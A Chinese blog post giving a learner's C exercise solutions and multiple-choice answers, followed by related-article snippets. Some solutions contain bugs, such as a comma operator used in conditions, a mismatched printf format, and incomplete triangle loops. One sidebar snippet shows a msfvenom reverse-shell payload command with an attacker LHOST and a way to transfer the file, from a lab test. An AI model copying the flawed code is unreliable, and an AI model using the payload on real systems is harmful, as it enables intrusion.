学习C语言第19天(练习题)

news2024/9/22 13:27:52

编程题 

第一题        改数字

//改数字
int gaishuzi(int * input)
{
	int sum = 0;
	int i = 0;
	while (*input)
	{
		int bit=* input% 10;
		if (bit % 2 == 1)
		{
			sum += 1 * pow(10, i);
			i++;
		}
		else
		{
			sum += 0* pow(10, i);
			i++;
		}
		*input /= 10;
	}
	return sum;
}
int main()
{
	int input = 0;
	scanf("%d",&input);
	int a=gaishuzi(&input);
	printf("%d",a);
	return 0;
}

第二题        带空格直角三角形图案

//带空格直角三角形
int main()
{
	int n = 0;
	while(scanf("%d", &n) == 1)
	{
		int i = 0;
		int j = 0;
		for (i = 0; i < n; i++)
		{
			for (j = 0; j < n; j++)
			{
				if (i + j < n - 1)
					printf("  ");
				else
				{
					printf("* ");
				}
			}
			printf("\n");
		}
	}
	return 0;
}

第三题        网购

//网购
int main()
{
	double price = 0.0;
	int m = 0;
	int d = 0;
	int flag = 0;
	scanf("%lf %d %d %d",&price,&m,&d,&flag);
	if (m==11,d==11)
	{
		price = price * 0.7 - flag * 50;
	}
	else if(m==12,d==12)
	{
		price = price * 0.8 - flag * 50;
	}
	if (price < 0.0)
	{
		printf("%.2lf\n", 0);
	}
	else
		printf("%.2lf\n",price);
	return 0;
}

第四题        猜名次

//猜名次
int main()
{
	int a = 0;
	int c = 0;
	int b = 0;
	int d = 0;
	int e = 0;
	for (a = 1; a <= 5; a++)
	{
		for (b = 1; b <= 5; b++)
		{
			for (c = 1; c <= 5; c++)
			{
				for (d = 1; d<= 5; d++)
				{
					for (e = 1; e<= 5; e++)
					{
						if (((b == 2) + (a == 3) == 1)
							&& ((b == 2) + (e == 4) == 1)
							&& ((c == 1) + (d == 2) == 1)
							&& ((c == 5) + (d == 3) == 1)
							&& ((e == 4) + (a == 1) == 1)
							)
						{
							if (a * b * c * d * e == 120)
								printf("a=%d b=%d c=%d d=%d e=%d\n", a, b, c, d, e);
						}
					}
				}
			}
		}	
	}
	return 0;
}

第五题        猜凶手

int main()
{
	int killer = 0;
	for (killer = 'a'; killer <= 'd'; killer++)
	{
		if ((killer != 'a')
			+ (killer == 'c')
			+ (killer == 'd')
			+ (killer != 'd') == 3)
		{
			printf("%c\n",killer);
		}
	}
}

第六题        杨辉三角

 

//杨辉三角
int main()
{
	int arr[10][10] = { 0 };
	int i = 0;
	int j = 0;
	for (i = 0; i < 10; i++)
	{
		for (j = 0; j < i; j++)
		{
			if (j == 0)
				arr[i][j] = 1;
			if(i == j)
				arr[i][j] = 1;
			if (i >= 2 && j >= 1)
			{
				arr[i][j] = arr[i - 1][j - 1] + arr[i-1][j];
			}
		}
	}
	for (i = 0; i < 10; i++)
	{
		for (j = 0; j < i; j++)
		{
			printf("%d ",arr[i][j]);
		}
		printf("\n");
	}
	return 0;
}

第七题        字符串左旋

//字符串左旋
void left_rotate(char arr[], int k)
{
	int i = 0;
	int len = strlen(arr);
	for (i=0;i<k;i++)
	{
		char tmp = arr[0];
		int j = 0;
		for (j = 0; j < len - 1; j++)
		{
			arr[j] = arr[j + 1];
		}
		arr[len - 1] = tmp;
	}
}
int main()
{
	char arr[] = "abcdef";
	int k = 0;
	scanf("%d",&k);
	left_rotate(arr,k);
	printf("%s\n",arr);
	return 0;
}

第八题        杨氏矩阵

//杨氏矩阵
struct point
{
	int x;
	int y;
};
struct point find_num(int arr[3][3],int r,int c,int k)
{
	int x = 0;
	int y = c - 1;
	struct point p = { -1,-1 };
	while (x<=r-1&&y>=0)
	{
		if (k < arr[x][y])
		{
			y--;
		}
		else if (k > arr[x][y])
		{
			x++;
		}
		else
		{
			p.x = x;
			p.y = y;
			return p;
		}
	}
	return p;
}
int main()
{
	int arr[3][3] = {1,2,3,4,5,6,7,8,9};
	int k = 0;
	scanf("%d",&k);
	struct point  ret =find_num(arr, 3, 3, k);
	printf("%d %d",ret.x,ret.y);
	return 0;
}
int find_num(int arr[3][3],int *r,int* c,int k)
{
	int x = 0;
	int y = *c - 1;
	while (x<=*r-1&&y>=0)
	{
		if (k < arr[x][y])
		{
			y--;
		}
		else if (k > arr[x][y])
		{
			x++;
		}
		else
		{
			*r = x;
			*c = y;
			return 1;
		}
	}
	return 0;
}
int main()
{
	int arr[3][3] = {1,2,3,4,5,6,7,8,9};
	int k = 0;
	scanf("%d",&k);
	int x = 3;
	int y = 3;
	int  ret =find_num(arr, &x, &y, k);
	if(ret==1)
	printf("%d %d",x,y);
	return 0;
}

第九题        字符串旋转结果

//字符串旋转判断
int is_left_move(char arr1[],char arr2[])
{
	int len = strlen(arr1);
	int i = 0;
	for (i = 0; i < len; i++)
	{
		char tmp = arr1[0];
		int j = 0;
		for (j = 0; j < len - 1; j++)
		{
			arr1[j] = arr1[j + 1];
		}
		arr1[len - 1] = tmp;
		if (strcmp(arr2, arr1) == 0)
			return 1;
	}
	return 0;
}
int main()
{
	char arr1[] = "abcdef";
	char arr2[] = "cdefab";
	int ret = is_left_move(arr1,arr2);
	if (ret == 1)
	{
		printf("可以\n");
	}
	else
		printf("不可以");
	return 0;
}
//第二种方法
int is_left_move(char arr1[], char arr2[])
{
	int len = strlen(arr1);
	strncat(arr1, arr1, strlen(arr1));
	char* ret = strstr(arr1, arr2);
	if (ret == NULL)
	{
		return 0;
	}
	else
	{
		return 1;
	}
}
int main()
{
	char arr1[20] = "abcdef";
	char arr2[] = "cdefab";
	int ret = is_left_move(arr1, arr2);
	if (ret == 1)
	{
		printf("可以\n");
	}
	else
		printf("不可以");
	return 0;
}

第十题        矩阵转置

//矩阵转置
int main()
{
	int n = 0;
	int m = 0;
	scanf("%d %d",&n,&m);
	int arr[10][10] = { 0 };
	int i = 0;
	int j = 0;
	for (i = 0; i < n; i++)
	{
		for (j = 0; j < m; j++)
		{
			scanf("%d",&arr[i][j]);
		}
	}
	for (i = 0; i < m; i++)
	{
		for (j = 0; j < n; j++)
		{
			printf("%d",arr[j][i]);
		}
		printf("\n");
	}
	return 0;
}

第十一题        上三角矩阵判定

// 上三角矩阵判定
int main()
{
	int n = 0;
	scanf("%d", &n);
	int arr[20][20] = { 0 };
	int i = 0;
	int j = 0;
	int flag = 1;//表示是上三角矩阵
	for(i=0;i<n;i++)
	{
		for (j = 0; j < n; j++)
		{
			scanf("%d",&arr[i][j]);
		}
	}
	for (i = 0; i < n; i++)
	{
		for (j = 0; j < i; j++)
		{
			if (arr[i][j] != 0)
			{
				flag = 0;
				goto end;
			}
		}
	}
end:
	if (flag == 0)
	{
		printf("NO\n");
	}
	else
		printf("yes\n");
	return 0;
}

第十二题        有序序列判断

//有序序列判断
int main()
{
	int n = 0;
	int arr[50] = { 0 };
	scanf("%d",&n);
	int i = 0;
	int flag1 = 0;
	int flag2 = 0;
	for (i = 0; i < n; i++)
	{
		scanf("%d",&arr[i]);
		if (i > 0)
		{
			if (arr[i] > arr[i - 1])
			{
				flag1 = 1;
			}
			else if(arr[i]<arr[i-1])
			{
				flag2 = 1;
			}
			else
			{
				;
			}
		}
	}
	if (flag1 + flag2 <= 1)
	{
		printf("有序");
	}
	else
		printf("无须");
	return 0;
}

选择题

第一题        D

第二题        300   44

第三题        A

第四题        255

第五题        B

 第六题        A

free只释放空间

第七题        C

第八题        C

第九题        C

第十题        C

第十一题        A

第十二题         B

第十三题        D

第十四题        A

第十五题        C

第十六题        C

第十七题        B

第十八题        C

第十九题        D

第二十题        B D

第二十一题        A

第二十二题        C

第二十三题        B

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972324.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。近年来&#xff0c;严重的大气污染问题已经明显影响国计民生&#xff0c;引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因…

嵌入式day17

尾插&#xff1a; 头删&#xff1a; 尾删&#xff1a; 双向链表&#xff1a; 循环链表&#xff1a; 内存泄漏&#xff08;malloc 调用的节点需要手动清除&#xff09; 清除&#xff1a; 头删效率更高&#xff0c;算法复杂度更低 共用体 共用体的成员&#xff0c;会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器&#xff0c;最高可运行在24MHz&#xff0c;内置32K/64K字节的嵌入式Flash&#xff0c;4K字节的SRAM&#xff0c;集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式&#xff1a;适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法&#xff0c;在⼯作中&#xff0c; 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后&#xff0c; 要对需求进⾏分析和验证&#xff0c;从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前&#xff0c;大家保存数据要么是在程序运行期间&#xff0c;例如&#xff1a;在学习编程语言的时候&#xff0c;大家写过的管理系统&#xff0c;运用一些简单的数据结构&#xff08;例如顺序表&#xff09;来组织数据&#xff0c;可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的&#xff0c;是真实的技术吗&#xff1f; 图片来源&#xff1a;论文《PULSE&#xff1a;Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol&#xff0c;翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议&#xff0c;它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法&#xff1a; 每一列雨水的高度&#xff0c;取决于&#xff0c;该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度&#xff0c;即&#xff1a; min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一&#xff0c; 线程 1.1 进程 进程就是一个程序运行的标志&#xff0c;是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配&#xff08;计算资源&#xff0c;比如CPU&#xff0c;存储:内存&#xff09;的最小单…

Day5

BootStrap 这个玩意可以理解为&#xff0c;已经写好的css样式的封装。 在开发中&#xff0c;如果需要用到这个&#xff0c; 首先得下载下来 找到官网&#xff0c;Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5&#xff0c; 解压后&#xff0c;把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…

centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)

Day 16 centos7 中安装 mysql 8.x 1.下载安装包 [rootmysql~]#wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar [rootmysql ~]# ls anaconda-ks.cfg mys…

美业收银系统【客户管理】的重要作用|美业门店管理系统Java源码、系统演示

美业系统中的客户管理功能可以起到多种作用&#xff0c;包括但不限于以下几点&#xff1a; 1.客户档案管理&#xff1a; 记录客户的个人信息、偏好、消费记录等&#xff0c;便于了解客户需求&#xff0c;提供个性化的服务和推荐。 2.预约和排队管理&#xff1a; 帮助美业从…

探索Netty框架的核心构件

Netty是一个高性能、异步事件驱动的网络应用程序框架&#xff0c;用于快速开发可维护的高性能、高可靠性的网络服务器和客户端程序。本文将深入探讨Netty框架的基本组件&#xff0c;帮助开发者更好地理解和使用这一强大的工具。 1. 事件循环&#xff08;EventLoop&#xff09;…

告别繁琐,AI助你轻松制作PPT!2024四大工具推荐

PPT是现代商务和教育领域中不可或缺的工具。然而&#xff0c;制作一份高质量的PPT往往需要花费大量的时间和精力。AI PPT制作工具的出现可以很好地解决这一问题。下面为大家推荐几个AI PPT制作工具。 笔灵AIPPT&#xff1a;智能设计&#xff0c;一键生成 链接&#xff1a;htt…

Stable Diffusion绘画 | 文生图设置详解(二)

提示词引导系统&#xff08;CFG Scale&#xff09; 这里的参数&#xff0c;是用来控制 SD 是否严格按照输入的提示词来生成画面 CFG值越小&#xff0c;对 SD 的约束程度就越低&#xff0c;AI 会加入更多想法&#x1f4a1;&#xff0c;CFG7是一个平衡值 CFG值越大&#xff0c;对…